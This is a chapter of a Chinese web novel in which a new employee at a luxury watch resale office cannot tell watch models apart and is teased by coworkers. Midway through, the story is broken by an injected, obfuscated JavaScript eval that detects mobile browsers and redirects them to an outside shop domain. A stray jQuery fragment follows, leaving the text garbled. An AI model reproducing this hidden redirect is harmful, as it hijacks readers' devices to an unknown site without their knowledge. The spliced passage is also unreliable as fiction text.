十点半,办公室终于慢慢安静下来。该聊的聊完了,该笑的也笑完了,大表姐开始回消息,王恬恬戴上耳机,花花不知道什么时候又晃回了自己工位。林深低头看电脑,后台页面开着,密密麻麻全是型号。她盯了半天,一个都不认识。
旁边忽然传来声音。
“帮我看一下这个。”
大表姐把手机递过来,林深低头。照片是一块表。
“什么?”
“客户发的。”
“我知道。”
“那你看啊。”
“我看不懂。”
大表姐愣了一下。
“哦。”
过了两秒。
“我忘了。”
“忘什么?”
“你不会。”
林深沉默。大表姐也沉默。最后两个人一起笑了。
过了一会儿,王恬恬摘下耳机。
“怎么了?”
“她看不懂。”
“正常。”
“什么正常?”
“她刚来。”
林深看着电脑。
“所以这些是什么?”
王恬恬凑过来看了一眼。
“百达翡丽。”
“这个呢?”
“百达翡丽。”
“这个?”
“也是百达翡丽。”
“……”
林深又点开一个。
“这个总不是了吧?”
“爱彼。”
“终于不一样了。”
王恬恬笑得不行。
这时候旁边忽然有人喊。
“大表姐。”
“嗯?”
“这个朗格怎么看?”
大表姐头都没抬。
“后盖拍一下。”
对面立刻开始拍照。几十秒后,大表姐看了一眼。
“没问题。”
“确定?”
“确定。”
“报价呢?”
大表姐报了个数字。对面哦了一声,低头开始回客户。整个过程不到一分钟。林深坐在旁边看完。
“你怎么知道?”
“什么?”
“这个。”
“看多了。”
“就这样?”
“就这样。”
林深不信。大表姐也懒得解释,继续低头回消息。
十一点多,展厅方向忽然热闹起来。有人喊。
“阿圣!”
“干嘛?”
“帮我拿一下余文乐。”
“自己来。”
“客户等着。”
“那你来拿。”
“我懒得动。”
“我也懒得动。”
几秒后,阿圣还是抱着表盒出来了。路过工位的时候,林深问。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969375|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“余文乐是谁?”
阿圣停住。
“人。”
“啊?”
“表。”
“……”
“你怎么什么都不知道?”
林深认真想了想。
“因为昨天才知道公司卖表。”
阿圣愣了两秒,然后转头看向办公室。
“她昨天才知道我们卖表?”
办公室里没人否认。阿圣抱着表盒站在原地,沉默了很久,最后说了一句。
“花花真牛逼。”
说完走了。
中午十二点,办公室忽然开始收拾东西。有人关电脑,有人拿包,有人约饭。不到五分钟,人走了一大半。林深抬头。
“下班了?”
王恬恬正在收耳机。
“吃饭。”
“现在?”
“嗯。”
“多久?”
“两小时。”
林深看着她。
“这么久?”
王恬恬点头。
“没人管。”
说完背着包走了。办公室很快空下来,只剩下空调声。林深坐在工位上,看着屏幕里的那些名字——百达翡丽,爱彼,理查德,朗格,还有一堆她看不懂的型号。阳光从窗外照进来,她忽然觉得,这家公司好像和酒店一样,又好像完全不一样。至少到现在,她还不知道自己到底是来干什么的。